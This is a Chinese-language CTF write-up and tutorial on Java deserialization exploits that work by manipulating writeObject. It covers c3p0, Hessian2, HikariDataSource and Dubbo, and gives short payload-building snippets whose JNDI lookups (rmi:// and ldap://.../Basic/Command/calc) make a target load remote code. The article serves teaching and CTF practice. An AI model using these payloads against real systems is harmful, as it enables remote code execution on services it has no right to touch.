对writeObject流程动点手脚
字数 1670 2025-08-26 22:11:29

Java反序列化中writeObject流程的利用技巧

前言

传统Java反序列化漏洞利用通常关注readObject方法后的调用链构造,而本文重点探讨通过对writeObject流程的干预来实现漏洞利用的几种技术手段。

控制恶意数据的两种主要方法

1. 从代码逻辑入手

方法一:直接修改类代码

  • 复制目标类到新类并修改相关操作
  • 适用于修改流程在writeObject所在Java文件中的情况

方法二:修改源代码重新编译

  1. 下载对应版本源代码
  2. 修改后重新编译成Jar包
  3. 注意点:
    • 可能需要导入大量依赖
    • 需注意编译和运行的Java版本一致性

方法三:使用Java Agent技术

  1. 学习Java Agent基础:参考链接
  2. 使用javassist修改字节码
  3. 实现步骤:
    • 使用动态attach注入方法
    • 编写agentmain并打包成Jar
    • 修改MANIFEST.MF文件

2. 从字节数组入手(序列化数据修改)

修改序列化数据的技巧

  1. 分析正常序列化数据的结构
  2. 定位关键位置进行替换(如将0x70替换为恶意数据)
  3. 注意事项:
    • 需要考虑偏移量问题
    • 需要深入学习JRE8u20构造及相关工具

CTF实战案例解析

案例一:Dest0g3 ljcrt题目

题目特点

  • 存在反序列化入口
  • 过滤了"ldap"字符串
  • 使用Java Agent技术进行过滤
  • 存在c3p0依赖但限制reference值

漏洞利用链分析

  1. PoolBackedDataSourceBase.writeObject关键逻辑:

    • 尝试序列化connectionPoolDataSource属性
    • 失败时进入catch块,使用ReferenceIndirector.indirectForm处理
  2. 关键点:

    • connectionPoolDataSource不可序列化,进入catch块
    • 可控制var2this.contextName默认为null
  3. JNDI触发条件:

    • readObjectgetObject方法要求this.contextName不为空

解决方案

  1. 构造初始Payload:
PoolBackedDataSource a = new PoolBackedDataSource();
a.setConnectionPoolDataSource(new PoolSource());
  1. 使用Java Agent动态注入:
// 修改ReferenceIndirector.indirectForm方法
ctMethod.insertBefore(String.format(
    "java.util.Properties properties = new java.util.Properties();\n" +
    "javax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"rmi://127.0.0.1:6666/calc\",properties);" +
    "this.contextName=compoundName;"
));
  1. 最终利用yaml依赖进行绕过

案例二:网鼎杯hessian2题目

题目分析

  • 提供MyBean类(可任意调用getter方法)
  • 可利用Rome反序列化特性
  • 寻找hessian触发toString的调用链

Hessian2关键流程

  1. readString()方法逻辑:

    • 读取tag值(0-255)
    • tag为67时进入expect函数
  2. expect()函数行为:

    • 调用readObject()
    • 触发对象的toString()方法
  3. 利用链:

    • toString()getConnection2JNDIPoolBase → JNDI注入

解决方案

  1. 构造恶意Hessian2序列化数据:
HikariDataSource ds = new HikariDataSource();
ds.setDataSourceJNDI("ldap://url:port/Basic/Command/calc");
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.writeObject(new MyBean("", "", ds, HikariDataSource.class));
  1. 关键修改点:
    • writeString中设置this._buffer[0] = 67
    • 确保this._buffer[1] = 67
    • 保持其他数据处理正常

高级技巧:Hessian2后的利用

Dubbo安全中的Hessian2利用

  1. 序列化对象得到byte数组
  2. 修改布尔值属性对应的tag
  3. 使用binding恶意对象覆盖值
  4. 注意事项:
    • 直接修改值可能导致readObject()失败
    • 需要精确控制序列化过程

Dubbo请求构造要点

  • Magic固定为0xdabb
  • Serialization ID为特定标记组合
  • Request ID随机生成
  • Data Length正确设置

总结

通过对writeObject流程的干预,可以实现多种Java反序列化漏洞利用场景。关键点包括:

  1. 代码修改的多种方式选择
  2. 序列化数据的精确控制
  3. 特定框架(如Hessian2、Dubbo)的利用技巧
  4. Java Agent技术的灵活应用

这些技术需要结合具体环境和目标特性进行灵活运用,同时需要深入理解Java序列化机制和各个框架的实现细节。

Java反序列化中writeObject流程的利用技巧 前言 传统Java反序列化漏洞利用通常关注 readObject 方法后的调用链构造,而本文重点探讨通过对 writeObject 流程的干预来实现漏洞利用的几种技术手段。 控制恶意数据的两种主要方法 1. 从代码逻辑入手 方法一:直接修改类代码 复制目标类到新类并修改相关操作 适用于修改流程在 writeObject 所在Java文件中的情况 方法二:修改源代码重新编译 下载对应版本源代码 修改后重新编译成Jar包 注意点: 可能需要导入大量依赖 需注意编译和运行的Java版本一致性 方法三:使用Java Agent技术 学习Java Agent基础: 参考链接 使用javassist修改字节码 实现步骤: 使用动态attach注入方法 编写agentmain并打包成Jar 修改MANIFEST.MF文件 2. 从字节数组入手(序列化数据修改) 修改序列化数据的技巧 分析正常序列化数据的结构 定位关键位置进行替换(如将0x70替换为恶意数据) 注意事项: 需要考虑偏移量问题 需要深入学习JRE8u20构造及相关工具 CTF实战案例解析 案例一:Dest0g3 ljcrt题目 题目特点 存在反序列化入口 过滤了"ldap"字符串 使用Java Agent技术进行过滤 存在c3p0依赖但限制reference值 漏洞利用链分析 PoolBackedDataSourceBase.writeObject 关键逻辑: 尝试序列化 connectionPoolDataSource 属性 失败时进入catch块,使用 ReferenceIndirector.indirectForm 处理 关键点: connectionPoolDataSource 不可序列化,进入catch块 可控制 var2 但 this.contextName 默认为null JNDI触发条件: readObject 中 getObject 方法要求 this.contextName 不为空 解决方案 构造初始Payload: 使用Java Agent动态注入: 最终利用yaml依赖进行绕过 案例二:网鼎杯hessian2题目 题目分析 提供MyBean类(可任意调用getter方法) 可利用Rome反序列化特性 寻找hessian触发toString的调用链 Hessian2关键流程 readString() 方法逻辑: 读取tag值(0-255) tag为67时进入expect函数 expect() 函数行为: 调用 readObject() 触发对象的 toString() 方法 利用链: toString() → getConnection2JNDI → PoolBase → JNDI注入 解决方案 构造恶意Hessian2序列化数据: 关键修改点: 在 writeString 中设置 this._buffer[0] = 67 确保 this._buffer[1] = 67 保持其他数据处理正常 高级技巧:Hessian2后的利用 Dubbo安全中的Hessian2利用 序列化对象得到byte数组 修改布尔值属性对应的tag 使用binding恶意对象覆盖值 注意事项: 直接修改值可能导致 readObject() 失败 需要精确控制序列化过程 Dubbo请求构造要点 Magic固定为0xdabb Serialization ID为特定标记组合 Request ID随机生成 Data Length正确设置 总结 通过对 writeObject 流程的干预,可以实现多种Java反序列化漏洞利用场景。关键点包括: 代码修改的多种方式选择 序列化数据的精确控制 特定框架(如Hessian2、Dubbo)的利用技巧 Java Agent技术的灵活应用 这些技术需要结合具体环境和目标特性进行灵活运用,同时需要深入理解Java序列化机制和各个框架的实现细节。